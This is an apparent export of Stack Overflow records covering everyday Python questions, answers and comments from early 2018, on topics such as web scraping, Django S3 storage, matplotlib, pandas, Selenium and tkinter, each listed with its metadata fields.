has body: I am trying to write a Python script that can navigate to this page, fill up the form data, submit the form and download a ZIP file that is returned automatically. the file I need is generated by selecting Bhavcopy in the form along with providing a valid date from the past. [A sample input and result has been shown here2 So far I have tried to learn and implement several approaches using using Scrapy, webbrowser, requests, Beautifulsoup, Mechanize and Selenium by copying and modifying example codes from the documentations but haven't been able to make any progress. So far the only code that worked without errors is : import requests from bs4 import BeautifulSoup u = 'https://www.nseindia.com/products/content/all_daily_reports.htm' p = requests.get(u) soup = BeautifulSoup(p.text, 'html.parser') for link in soup.find_all('a'): d = requests.get(link.get('href')) print(d) This code is no where complete and I don't how to proceed. Logically I know I should be: fetching the page [done] selecting form elements [not done] maybe doable in Scrapy filling in data ( the 1st parameter is constant the date can be supplied in a loop) [have no clue how to do this programatically] submitting the form [same as above] clicking on the a tag to download the file in the href attribute [a request.get(on the href value) should do it Any pointers to how I can achieve this would be greatly appreciated. The webpage allows you to download a daily report called the Bhavcopy that contains the Open, Low, High, Close data of all stocks that traded in the National Stock Exchange (India) and i wish to accumulate as much historical data as possible.
answer count: 1
downvote count: 0
favorite count: 0
tagged with: beautifulsoup

http://stackoverflow.com/q/48785235
upvote count: 4
possible better answer: http://stackoverflow.com/a/48786151
answer count: 2
tagged with: django-file-upload
downvote count: 0
has comment: http://stackoverflow.com/comment/84572168
favorite count: 0
has title: Django - User uploaded S3 files in the view
accepted answer: http://stackoverflow.com/a/48785695
has body: I have a page where users can upload PDF / image files to their profile. The model for these files is relativly straightforward: class ResumeItemFile(models.Model): item = models.ForeignKey(ResumeItem, related_name='attachment_files') file = models.FileField( max_length=255, upload_to=RandomizedFilePath('resume_attachments'), verbose_name=_('Attachment')) name = models.CharField(max_length=255, verbose_name=_('Naam'), blank=True) I am creating a view where all files linked to a profile (item) are gathered in a .zip file. I've got this working locally, but in production I run in the following error NotImplementedError: This backend doesn't support absolute paths. The main difference is that on production the mediafiles are served through S3 MEDIA_URL = 'https://******.s3.amazonaws.com/' STATIC_URL = MEDIA_URL DEFAULT_FILE_STORAGE = 'storages.backends.s3boto.S3BotoStorage' STATICFILES_STORAGE = 'storages.backends.s3boto.S3BotoStorage' In my view I created a list of the ResumeItemFile in the attachments variable, which is a list of dicts that look like this: {'filename', ResumeItemFileObject} for file in attachments: storage = DefaultStorage() filename = file[1] file_extension = str(file[0].file).split('.')[-1] file_object = storage.open(file[0].file.path, mode='rb') filename, file_object.read()) file_object.close() Though this works fine locally, on staging it crashes on the file_object = storage.open(file[0].file.path, mode='rb') line. If the backend does not support absolute paths, how I am to select the correct file? Does anyone have an idea of what I am doing wrong?
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48786151
has answer: http://stackoverflow.com/a/48785695
tagged with: django
has comment: http://stackoverflow.com/comment/84572295
type: Question
score: 4

http://stackoverflow.com/comment/84505937
type: Comment
type: QuestionComment
has text: Can you run `python -c "import sys; print sys.path"` as regular user, and with `sudo` and check if outputs are different?
comment on: http://stackoverflow.com/q/48752469
score: 0

http://stackoverflow.com/comment/84546462
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48770263
has text: I would connect to a workernode, startup python and start by executing the imports.

http://stackoverflow.com/comment/84445101
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48723086
has text: @NickA Would it kill that person to ask for it once?
score: 0

http://stackoverflow.com/comment/84421072
type: Comment
type: QuestionComment
has text: Is there a reason you'ved tagged this question with both `python-3.x` and `python2.7`?
score: 2
comment on: http://stackoverflow.com/q/48710933

http://stackoverflow.com/comment/84482393
type: Comment
type: QuestionComment
has text: Is it difficult to join conditionally? Because these datasets are super heavy, I want to join and eliminate at the same time.
comment on: http://stackoverflow.com/q/48740908
score: 0

http://stackoverflow.com/comment/84401926
type: QuestionComment
has text: Please explain better what you are trying to achieve. What do you mean by "run something, with a guarantee"?
comment on: http://stackoverflow.com/q/48701608
score: 0
type: Comment

http://stackoverflow.com/q/48665974
type: Question
has comment: http://stackoverflow.com/comment/84329837
linked to: http://stackoverflow.com/q/4143502
duplicate of: http://stackoverflow.com/q/4143502
upvote count: 1
tagged with: python
downvote count: 1
has comment: http://stackoverflow.com/comment/84329787
score: 0
tagged with: matplotlib
has title: unfilled circles in a data scatter plot in python
linked to: http://stackoverflow.com/q/23596575
has comment: http://stackoverflow.com/comment/84329929
tagged with: numpy
has comment: http://stackoverflow.com/comment/84329473
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84329769
has comment: http://stackoverflow.com/comment/84329549
favorite count: 0
has body: I'm plotting some data and I'm doing scatter plot. I want my points to be in empty circles and I'm using facecolor and edgecolor. surprisingly when I define colors for face and edge the codes works, but when I put 'non' as facecolor to have unfilled circles it doesn't accept it, how can I correct it, here is my code: x,y,dy = np.loadtxt('PKS 0528134 .txt', usecols=[0,2,3], unpack= True) plt.scatter(10**x, 10**y, marker= 'o', facecolor= 'b', edgecolor= 'r') plt.xlabel(r'$\nu$', fontsize= 15) plt.ylabel(r'Log $\nu$ L($\nu$)', fontsize= 15) plt.xlim(1e12,1e24) plt.ylim(1e41,1e49) plt.xscale('log') plt.yscale('log') plt.show()
tagged with: python-2.7

http://stackoverflow.com/comment/84470950
comment on: http://stackoverflow.com/a/48735473
type: Comment
score: 0
has text: Got it,didnt know that i need to add all executed,big thanks
type: AnswerComment

http://stackoverflow.com/q/48770843
accepted answer: http://stackoverflow.com/a/48771016
has comment: http://stackoverflow.com/comment/84543113
score: 4
upvote count: 4
answer count: 2
tagged with: byte
has title: Convert indexes in str to indexes in bytearray
downvote count: 0
tagged with: string
favorite count: 0
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48771035
has answer: http://stackoverflow.com/a/48771016
tagged with: python
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48771035
has body: I have some text, process it and find offset for some words in text. These offsets will be used by another application and that application operates with text as with sequence of bytes, so str indexes will be wrong for it. Example: &gt;&gt;&gt; text = "“Hello there!” He said" &gt;&gt;&gt; text[7:12] 'there' &gt;&gt;&gt; text.encode('utf-8')[7:12] &gt;&gt;&gt; b'o the' So how can I convert indexes in string to indexes in encoded bytearray?
type: Question

http://stackoverflow.com/q/48745906
has body: I am trying to automate web page using python selenium, but my task is to calculate complete page up timing (for example when we open the web page using .get('url') from that time to load all the parameters on page. example2-if click any button and will open new tab here also need to calculate time). Please could someone help me how to calculate timing.
tagged with: automation
has answer: http://stackoverflow.com/a/48746337
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48745982
tagged with: python-2.7
type: Question
has comment: http://stackoverflow.com/comment/84491731
tagged with: python
tagged with: selenium-webdriver
tagged with: python-3.x
score: 0
answer count: 2
has title: Time calculation from beginning to till page up completly using selenium python

http://stackoverflow.com/comment/84448843
score: 0
type: AnswerComment
has text: @Knix: you mean something like the length of this list? `len(pn_dcp_blocks)`
type: Comment
comment on: http://stackoverflow.com/a/48662738

http://stackoverflow.com/q/48663999
has body: I am familiar with basic concepts of reading and writing a csv file in python. But I am stuck to make a logic for this problem. I think GROUP BY can solve my problem but how one can do in python Category Data A Once upon a time. A There was a king. A who ruled a great and glorious nation. B He loved each of them dearly. B One day, when the young ladies were of age to be married. B terrible, three-headed dragon laid. C It is so difficult to deny C the reality I want to make logic for such an output that data with category A merges to one row and same for category B and C like this. Category Data A Once upon a time. There was a king. who ruled a great and glorious nation. B He loved each of them dearly. One day, when the young ladies were of age to be married. terrible, three-headed dragon laid. C It is so difficult to deny the reality Please if anyone of you can help me out with this logic I would appreciate his effort.
tagged with: python
has title: Merge rows of csv file with same category in python
upvote count: 3
type: Question
score: 3
has comment: http://stackoverflow.com/comment/84325308
has answer: http://stackoverflow.com/a/48664182
answer count: 2
has answer: http://stackoverflow.com/a/48664357
downvote count: 0
favorite count: 0
tagged with: python-3.x
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/csv

http://stackoverflow.com/comment/84452587
comment on: http://stackoverflow.com/q/48726710
has text: @Piinthesky My entries are separated by whitespave characters and my expected output is a sorted text file:
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48739299
tagged with: python-3.x
upvote count: 1
accepted answer: http://stackoverflow.com/a/48750195
has body: I want to generate random no. using Sobol, I found this page, but I don't know how to use it. How can I use this https://people.sc.fsu.edu/~jburkardt/py_src/sobol/sobol.html to generate random no.
type: AnsweredQuestion
score: 1
type: Question
has title: sobol random no. generater python
answer count: 1
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/48750195
tagged with: random
tagged with: python

http://stackoverflow.com/a/70275987
upvote count: 1
answers question: http://stackoverflow.com/q/48756902
type: Answer
downvote count: 0
has body: Аfter a long search and visits on this topic from google i found solution Install addon in you Firefox profile from browser, save it and set him into webdriver options. Firefox profile creating Open you firefox browser Go to about:profiles Create a New Profile Launch browser with created profile Install addons what you need Export profile Open root directory of your firefox profile (see in in about:profiles in Root Directory section) Copy folder into you project Python from selenium.webdriver import FirefoxOptions, FirefoxProfile, Remote # init options object options = FirefoxOptions() # init profile object with path to you profile profile = FirefoxProfile('{path_to_your_profile_folder}') # set profile into options options.profile = profile # init you Remote browser with created options (commented arguments for example) driver = Remote( options=options, # command_executor= ..., # desired_capabilities=... ) It`s works for me. The disadvantage of this solution is the presence of a folder with a profile that needs to be stored somewhere
score: 1

http://stackoverflow.com/a/48740730
score: 7
upvote count: 7
has comment: http://stackoverflow.com/comment/84481104
has body: You can search for available packages conda search $SEARCH_TERM Examples from the official documentation: Search for a specific package named 'scikit-learn': conda search scikit-learn Search for packages containing 'scikit' in the package name: conda search *scikit* Note that your shell may expand '*' before handing the command over to conda. Therefore it is sometimes necessary to use single or double quotes around the query. conda search '*scikit' conda search "*scikit*" Search for packages for 64-bit Linux (by default, packages for your current platform are shown): conda search numpy[subdir=linux-64] Search for a specific version of a package: conda search 'numpy&gt;=1.12' Search for a package on a specific channel conda search conda-forge::numpy conda search 'numpy[chan‐nel=conda-forge, subdir=osx-64]'
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48740705

http://stackoverflow.com/comment/84378422
comment on: http://stackoverflow.com/q/48689682
has text: @iam.Carrot - I am using Python to interact with MySQL for the first time. I was able to input data from a sample MySQL table in Python as a pandas dataframe.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84310461
comment on: http://stackoverflow.com/a/48656232
has text: @internet_user I've updated my answer to use `foo.__dict__` instead, which also returns class attributes.
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/q/48720482
tagged with: sanic
has body: I would like to specify the required JSON for a controller get/post methods in order for it to show in SwaggerUI. For example, I want request.json to look like this: { 'key1': &lt;int&gt;, 'key2': &lt;string&gt; } I initialize SwaggerUI like this: from sanic_openapi import swagger_blueprint, openapi_blueprint app = Sanic(__name__) # Set up SwaggerUI app.blueprint(openapi_blueprint) app.blueprint(swagger_blueprint) How can I make both keys show up in parameters?
type: Question
tagged with: python-3.5
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/48720674
has answer: http://stackoverflow.com/a/78460760
type: UnansweredQuestion
tagged with: python
has title: sanic - How to specify required JSON?
has answer: http://stackoverflow.com/a/54447480

http://stackoverflow.com/comment/84641439
has text: What are 'actual' values for those things? And does it need to be user/pass to match your 'working' example?
type: Comment
comment on: http://stackoverflow.com/a/48779059
type: AnswerComment
score: 0

http://stackoverflow.com/a/48753385
has comment: http://stackoverflow.com/comment/84509559
downvote count: 0
has comment: http://stackoverflow.com/comment/84509343
has comment: http://stackoverflow.com/comment/84509730
accepted answer of: http://stackoverflow.com/q/48753338
type: Answer
answers question: http://stackoverflow.com/q/48753338
score: 3
has body: Use sort_values and parameter keep='last': df.sort_values(['A','B']).drop_duplicates(subset='A', keep='last') Output: A B 1 x 1 3 y 0 4 z 1 Update for negative values: df.assign(sortkey = df.B.ne(0)) .sort_values(['A','sortkey']) .drop_duplicates(subset='A', keep='last')
upvote count: 3
type: AcceptedAnswer

http://stackoverflow.com/comment/84376990
has text: In Django's `settings.py` what do you have in DEBUG and ALLOWED_HOSTS ?
type: Comment
score: 1
comment on: http://stackoverflow.com/a/48688397
type: AnswerComment

http://stackoverflow.com/a/49713661
type: Answer
has comment: http://stackoverflow.com/comment/86445572
answers question: http://stackoverflow.com/q/48716392
score: 5
has body: I ended up using Supervisord. It seemed like a pretty good solution. The relevant supervisord.conf file looks like this. [supervisord] [program:worker] command=python worker.py process_name=%(program_name)s-%(process_num)s numprocs=20 directory=. stopsignal=TERM autostart=true autorestart=true After putting this file in the same directory as of the RQ worker script worker.py, just running the following command will spawn up 20 instances of the RQ worker. The number of workers can be specified by the numprocs option in the supervisord.conf file. $ supervisord -n
upvote count: 5
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48716392

http://stackoverflow.com/a/48810320
answers question: http://stackoverflow.com/q/48796756
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 9
upvote count: 9
accepted answer of: http://stackoverflow.com/q/48796756
has body: The code for heapq.py is available at https://svn.python.org/projects/python/trunk/Lib/heapq.py nsmallest uses one of two algorithms. If the number of items to be returned is more than 10% of the total number of items in the heap, then it makes a copy of the list, sorts it, and returns the first k items. If k is smaller than n/10, then it uses a heap selection algorithm: Make a copy of the first k items, and sort it for each remaining item in the original heap if the item is smaller than the largest item in the new list replace the largest item with the new item re-sort the new list That whoever wrote this used such an inefficient algorithm is somewhat surprising. In theory at least, Quick select, which is an O(n) algorithm, should be faster than sorting, and much faster than the "optimized" algorithm for selecting n/10 items. I'm not a Python guy, so I can't say for sure, but my experience with other languages indicates that the above should be true for Python as well. Update The implementation at https://github.com/python/cpython/blob/master/Lib/heapq.py#L395 works somewhat differently. If the k is greater than or equal to the number of items in the list, then a sorted list containing all of the elements is returned. Otherwise, it uses a standard heap selection algorithm: create a max heap from the first k items for each remaining item if the item is smaller than the largest item on the heap remove the largest item from the heap add the new item to the heap sort the resulting heap and return The remove/add is combined into a single function called heap_replace. There's an optimization in there to use the standard comparator if the key is None, but it uses the same basic heap selection algorithm. This implementation is much more efficient than the other one that I described, although I expect it to be slower than Quickselect in the general case.

http://stackoverflow.com/comment/84561661
type: Comment
has text: Make sure PyNaCl is installed, run `pip install PyNaCl` also make sure you have done `pip install youtube_dl`
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48779323

http://stackoverflow.com/comment/84439202
score: 0
type: Comment
has text: Thanks for these precisions :)
comment on: http://stackoverflow.com/a/48719668
type: AnswerComment

http://stackoverflow.com/comment/84570682
comment on: http://stackoverflow.com/q/48784007
type: Comment
type: QuestionComment
score: 2
has text: Leetcode formats the functions inside a class at the same indentation level as the class definition? Then how does python know which functions are inside the class and which ones outside?

http://stackoverflow.com/comment/84787651
has text: Sorry for the late reply; I went out of town. My problem is that even the `yield f[line_start:pos]` isn't working; I'm not getting the full line of the file that contains my matching keywords.
type: Comment
comment on: http://stackoverflow.com/a/48752022
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84536680
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48768100
has text: I have attempted to do writelines and write commands but couldn't get the desired results.
score: 0

http://stackoverflow.com/a/48729111
type: Answer
has comment: http://stackoverflow.com/comment/84457622
has comment: http://stackoverflow.com/comment/84457667
upvote count: 1
answers question: http://stackoverflow.com/q/48728737
has comment: http://stackoverflow.com/comment/84457714
has body: what about combinaison ?? import random from itertools import combinations l = random.sample(range(1, 10000), 100) alist =[(x1,x2,x3) if (0 &lt;= x1 &lt;= x2 &lt;= x3 and sum([x1,x2,x3]) == 100) else None for x1,x2,x3 in combinations(sorted(l), 3)] L = list(filter(None, alist)) output [(1, 4, 95), (1, 7, 92), (1, 10, 89), (1, 12, 87), (1, 17, 82), (1, 18, 81), (1, 30, 69), (1, 32, 67), (1, 34, 65), (1, 38, 61), (1, 49, 50), (2, 3, 95), (2, 5, 93), (2, 7, 91), (2, 10, 88), (2, 12, 86), (2, 17, 81), (2, 18, 80), (2, 22, 76), (2, 30, 68), (2, 33, 65), (3, 4, 93), (3, 5, 92), (3, 7, 90), (3, 10, 87), (3, 12, 85), (3, 17, 80),
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84459102
has comment: http://stackoverflow.com/comment/84459029
has comment: http://stackoverflow.com/comment/84457647
has comment: http://stackoverflow.com/comment/84457638

http://stackoverflow.com/comment/84320908
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48646514
has text: It didn't help. By the way, pandas.read_fwf('resource/RAVL_vLuki/rd0a0h.00d'), read this file, but щгеput with bad encoding.

http://stackoverflow.com/q/48653719
type: Question
tagged with: python
score: 0
type: UnansweredQuestion
tagged with: medical
has title: matplotlib Python scrolling through slices
has comment: http://stackoverflow.com/comment/84305769
answer count: 0
has body: I am trying to read the brain MRI image in to the plot and scroll trough the image slices.I can read the image however I cant find a way to show all the slices of the brain. The image is mha format. Could anyone suggest what should be used to to this? example image import SimpleITK import matplotlib.pyplot as plt filenameT1 = "12.mha" idxSlice = 98 labelGrayMatter = 1 imgT1Original = SimpleITK.ReadImage(filenameT1) def sitk_show(img, title=None, margin=0.0, dpi=40): nda = SimpleITK.GetArrayFromImage(img) figsize = (1 + margin) * nda.shape[0] / dpi, (1 + margin) * nda.shape[1] / dpi extent = (0, nda.shape[1], nda.shape[0], 0) fig = plt.figure(figsize=figsize, dpi=dpi) ax = fig.add_axes([margin, margin, 1 - 2 * margin, 1 - 2 * margin]) plt.set_cmap("gray") ax.imshow(nda, extent=extent, interpolation=None) def onscroll(self, event): print("%s %s" % (event.button, event.step)) if event.button == 'up': self.ind = (self.ind + 1) % self.slices else: self.ind = (self.ind - 1) % self.slices self.update() def update(self): self.im.set_data(self.imgT1Original[:, :, self.ind]) ax.set_ylabel('slice %s' % self.ind) self.im.axes.figure.canvas.draw() if title: plt.title(title) fig, ax = plt.subplots(1, 1) fig.canvas.mpl_connect('scroll_event', sitk_show.onscroll) plt.show() sitk_show(SimpleITK.Tile(imgT1Original[:, :, idxSlice],(2, 1, 0)))
has comment: http://stackoverflow.com/comment/84306253

http://stackoverflow.com/q/48648988
accepted answer: http://stackoverflow.com/a/48650084
tagged with: python
has comment: http://stackoverflow.com/comment/84295675
has comment: http://stackoverflow.com/comment/84296528
type: AnsweredQuestion
tagged with: python-3.x
tagged with: unit-testing
type: Question
has comment: http://stackoverflow.com/comment/84295886
has body: I'm stuck in a situation. Below is the illustration of same. I'm passing the values through argument parse. Values of a, b , c. Code is - initial_foo(args): **codes** args.a, args.b are used here. If I print args, it returns self.args = argsparse.Namespace(a='hii',b='bye',c='yolo'). Now if I pass args in initial_foo(self.args) it automatically picks up the values provided through args. Now, I want to test this initial_foo(args) method. So, probably I can do is that setting up the same self.args = argsparse.Namespace(a='hii',b='bye',c='yolo') and passing in initial_foo method. What if I don't want to use this. Is there any other solution of the same ? Anything which we can do through ```**locals() ? Please let me know if you have any doubts.
has title: Python - How to pass all args values in method for unit test?
has answer: http://stackoverflow.com/a/48650084
score: 0
answer count: 1

http://stackoverflow.com/a/48671495
has comment: http://stackoverflow.com/comment/84355537
has comment: http://stackoverflow.com/comment/84730194
answers question: http://stackoverflow.com/q/48657785
has comment: http://stackoverflow.com/comment/84348973
score: 1
has comment: http://stackoverflow.com/comment/84558126
has comment: http://stackoverflow.com/comment/84355676
has comment: http://stackoverflow.com/comment/84379071
has comment: http://stackoverflow.com/comment/84542004
has comment: http://stackoverflow.com/comment/84364879
has comment: http://stackoverflow.com/comment/84398449
has comment: http://stackoverflow.com/comment/84399008
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84413775
type: Answer
accepted answer of: http://stackoverflow.com/q/48657785
has body: You should not have npm start in a postinstall script. You want to run your node.js server every time your web dyno restarts, not only every time your app is installed. Furthermore, for Heroku, you should run the build of your "static" component in a heroku-postbuild script, not in a postinstall script. Other than that, you need to make any build dependencies (such as webpack etc.) available to Heroku, either by setting config var NPM_CONFIG_PRODUCTION to false, or by moving them from "devDependencies" to "dependencies". For more info see here.
has comment: http://stackoverflow.com/comment/84529625
has comment: http://stackoverflow.com/comment/84520763
upvote count: 1
has comment: http://stackoverflow.com/comment/84528427

http://stackoverflow.com/comment/84581681
comment on: http://stackoverflow.com/q/48789348
score: 0
type: Comment
has text: @Vovanrock2002 only websockets
type: QuestionComment

http://stackoverflow.com/q/48738988
type: Question
has title: Mapping a large list of addresses to (longitude, latitude) coordinates
tagged with: python
has comment: http://stackoverflow.com/comment/84477788
tagged with: python-requests
answer count: 1
has body: I have a list of over 250,000 addresses I need to convert to longitude, latitude pairs. I found two solutions online: import requests from geopy.geocoders import Nominatim geolocator = Nominatim() def lonlat(address): address = address.replace(' ', '+') response = requests.get('https://maps.googleapis.com/maps/api/geocode/json?address=%s' % address) resp_json_payload = response.json() return resp_json_payload['results'][0]['geometry']['location'] def lonlat2(address): location = geolocator.geocode(address) try: return (location.longitude, location.latitude) except: return address Neither of these methods are scalable to over 250,000 addresses; I'm not even sure what the API limits are either. What are suitable work-arounds?
has answer: http://stackoverflow.com/a/48739046
downvote count: 3
type: UnansweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/84477931
score: -3
favorite count: 0

http://stackoverflow.com/a/65518484
answers question: http://stackoverflow.com/q/48671929
has body: You have to modify your code as below: &lt;ul&gt; {% for job in job_title %} &lt;li&gt;{{ job.model_field_name }}&lt;/li&gt; {% endfor %} &lt;/ul&gt;
score: 0
type: Answer

http://stackoverflow.com/comment/84585846
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48791644
type: Comment
has text: I would like to keep the Pandas constructor because I use extensively the `secondary_y` argument of plot to show multiple times series...

http://stackoverflow.com/comment/84498836
comment on: http://stackoverflow.com/a/48737728
type: AnswerComment
has text: I made a 3D model of the array (it is more easy for me to get a grasp of things visual) and had two realization. 1) I made two minor errors in reasoning that overcomplicated the problem in my head (so it is actually hardly simplified in what i have written in the initial post) and 2) Your solution will most likely work :). Thx.
score: 0
type: Comment

http://stackoverflow.com/comment/84584495
has text: Thank you. Fixed.
comment on: http://stackoverflow.com/q/48791195
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/84599325
comment on: http://stackoverflow.com/a/48797671
type: AnswerComment
has text: Yes, conda is an option as well. I personally just find pyenv to be easier to install and more lightweight (if all you really care about is python versions and virtual environments).
score: 0
type: Comment

http://stackoverflow.com/q/48666246
tagged with: list
score: 0
has title: Use MapReduce on list elements?
has comment: http://stackoverflow.com/comment/84348523
has comment: http://stackoverflow.com/comment/84350916
type: UnansweredQuestion
tagged with: mapreduce
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/84339177
answer count: 0
has body: So I know how to use MapReduce for files where each element is on a line, but I'm trying to use MapReduce on a file with its entries like so: 74390,0,6,7,5,2,6,4,10,12,7,6,12,9,4,3,9,1,3,5,9,9,8,5,12,11,4,8,5,9,6,12,12,9,7,9,12,7,8,9,8,8 74391,1,4,2,9,3,5,12,7,6,9,6,8,9,10,12,7,9,9,9,9,5,1,8,4,5,12,6,5,4,3,9,6,8,7,12,11,12,7,8,12,8 74392,0,6,9,3,2,4,9,1,4,7,12,9,12,12,10,6,9,9,5,12,7,12,7,6,8,7,9,5,3,5,9,8,9,12,5,8,4,11,8,6,8 74393,0,8,9,9,7,12,7,12,12,2,9,7,10,7,9,9,9,9,6,4,9,5,6,4,8,8,5,3,5,6,4,1,12,8,12,12,3,8,6,11,5 74394,0,5,9,6,2,4,6,5,6,7,12,8,9,7,9,10,3,9,1,9,8,9,12,7,3,5,12,12,4,12,4,8,9,5,9,12,8,11,6,8,7 74395,1,7,6,7,6,5,2,9,7,1,7,9,12,6,3,9,3,12,10,12,9,9,8,4,12,4,9,6,8,4,9,5,8,12,11,12,8,5,9,8,5 The first entry is the index and the second is meaningless for this analysis, and in the following code I remove them. My file has hundreds of thousands of lines like this, and I need to figure out which number appears in each part of the line the most, as these correspond to slots. Expected output: 0: 1 1: 11 2: 5 ... 40: 9 What I've got so far: from mrjob.job import MRJob from mrjob.step import MRStep class topPieceSlot(MRJob): def mapper(self, _, line): pieces = line.split(',') pieces = pieces[2::] for item in range(len(pieces)): yield str(item) def reducer(self, pieces): for slot in range(len(pieces)): element = str(slot) numElements = 0 for x in pieces: total += x numElements += 1 yield element, numElements if __name__ == '__main__': topPieceSlot.run() And it returns nothing. It tells me it needs more than one value to unpack, but I'm not sure why it is only getting one value or if it's even right to begin with. Should I be using 40 variables for it? That seems inefficient and wrong.
type: Question
tagged with: python
has comment: http://stackoverflow.com/comment/84344562

python-collections
type: Tag
tag name: python-collections
tags question: http://stackoverflow.com/q/48743788

http://stackoverflow.com/a/48692218
has comment: http://stackoverflow.com/comment/84407585
has comment: http://stackoverflow.com/comment/84383416
type: Answer
has comment: http://stackoverflow.com/comment/84384241
has body: The ds can be represented with a constant np.arange(60) array, and the gt[i,j+d] with gt[i, j:j+d]. import numpy as np ds = np.arange(60) for i in range(gt.shape[0]): for j in range(gt.shape[1]): if(gt[i, j] == 0): continue limit = min(60, ((gt.shape[1]-j))) if np.any(gt[i, j] &lt; (gt[i, j:j+limit]-ds[:limit])): gt[i, j] = 0 If you don't have memory concerns, this can probably be vectorized further. For instance: mask = np.zeros(gt.shape, dtype="bool") for dist in range(1, 60): diffs = gt[:, :-dist] &lt; (gt[:, dist:] - dist) mask[:, :-dist] |= diffs gt[mask] = 0 When working with unsigned ints diffs should be calculated with: diffs = (gt2[:, :-dist] &lt; (gt2[:, dist:] - dist)) &amp; (gt2[:, dist:]&gt;dist) to prevent overflow issues. Which gives approx. 200x speedup on a 200x200pix image.
score: 3
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48691429
has comment: http://stackoverflow.com/comment/84388458
has comment: http://stackoverflow.com/comment/84419741
answers question: http://stackoverflow.com/q/48691429
has comment: http://stackoverflow.com/comment/84383365
has comment: http://stackoverflow.com/comment/84403540
upvote count: 3
has comment: http://stackoverflow.com/comment/84384104
has comment: http://stackoverflow.com/comment/84391221
type: AcceptedAnswer

http://stackoverflow.com/q/48748031
upvote count: 1
answer count: 1
downvote count: 1
tagged with: python
tagged with: regex
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84496143
has title: Using regex split function python to split when not surrounded by integers
has answer: http://stackoverflow.com/a/48748213
accepted answer: http://stackoverflow.com/a/48748213
type: Question
tagged with: split
has body: For example, I have a string containing the following Input: blah 3.16591128 blah.something blah. blah blah.3 3.blah I want to split it with respect to "." &amp; " " in such a way that I get number as a whole and rest everything gets split. Output: 3.16591128, blah, something, blah, blah, blah, 3, blah, 3, blah I know how to split both "." as well as " " using re.split("\.| ", str) Please help me with this.
tagged with: string
has comment: http://stackoverflow.com/comment/84496025
score: 0

http://stackoverflow.com/comment/84554204
type: AnswerComment
type: Comment
has text: @AntonvBR Fair enough. However, you're using a generator expression which gets exhausted after the first membership check and just skips over the rest. Use a set comprehension instead.
comment on: http://stackoverflow.com/a/48775716
score: 1

http://stackoverflow.com/comment/84593492
comment on: http://stackoverflow.com/q/48795549
type: Comment
type: QuestionComment
score: 2
has text: I do not think there is CT in the string.

http://stackoverflow.com/q/48645973
type: Question
answer count: 1
has comment: http://stackoverflow.com/comment/84308052
score: 0
tagged with: http://stackoverflow.com/tag/html
tagged with: python
tagged with: css
type: UnansweredQuestion
tagged with: selenium
has body: Trying to get: 11.0 this element did work at some point but now its returning this error: Unable to locate element: /html/body/div[3]/div[1]/div[2]/section[2]/section/form/div[5]/span[1]/a[11] It's not in a frame so I know that's not the problem just hit a brick wall too. Sometimes it throws unable to locate element error and sometimes it will work. Very confusing.
has title: Selenium + Python unable to locate element
has answer: http://stackoverflow.com/a/48647951

http://stackoverflow.com/a/48695098
has body: The problem you are running into is that, when there is no successful match, the program does not get to your raise ValueError statement. Instead, you might check to see if there was any match at all, and if not then raise the error you want: import re def parse_email(s): re_names = re.compile ('''^ (?P&lt;uid&gt;[\w]+) @ (?P&lt;domain&gt;[\w.-]+)? $ ''', re.VERBOSE) if not re_names.match(s): raise ValueError uid = re_names.match(s).group('uid') domain = re_names.match(s).group('domain') tup = uid, domain return tup
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48694856

http://stackoverflow.com/q/48696115
score: 1
tagged with: setuptools
upvote count: 1
linked to: http://stackoverflow.com/q/12191339
type: Question
has body: A Python package should contain some data files alongside with Python sources. How to make setuptools or distutils to install the data files? How can my Python code know which directories my data files are installed in?
tagged with: distutils
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84391010
favorite count: 0
type: UnansweredQuestion
tagged with: python
has title: Python package with data files
tagged with: installation
has answer: http://stackoverflow.com/a/49301595

teradata
type: Tag
tags question: http://stackoverflow.com/q/48704000
tag name: teradata

http://stackoverflow.com/q/48794267
downvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/48812936
tagged with: python-3.6
answer count: 1
favorite count: 0
has body: So I'm writing an app in Python 3.6, but I can't seem to find an answer on how to get the value of a messagebox answer (Yes or No). fileSavedExit = True def msgbox1(): if fileSavedExit == True: root.destroy() if fileSavedExit == False: messagebox.askyesno('Save File ?','Do you want to save the file first?') Something like that. I'm looking for code that would save the answer ('Yes' or 'No'). Would be thankful if anyone would help me. :O
tagged with: python
type: AnsweredQuestion
tagged with: tkinter
has title: Tkinter Messagebox - Save Messagebox answers (eg. Does user pick 'Yes 'or 'No')
has answer: http://stackoverflow.com/a/48812936
score: 0
upvote count: 1

http://stackoverflow.com/comment/84448790
has text: Your only integer in the range 38 (inclusive) and 39 (non inclusive) is 38, that's why you always get 38, same for the second ranges - your ranges do not allow anything else as they are not inclusive.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48724890
score: 0

http://stackoverflow.com/comment/84449381
score: 0
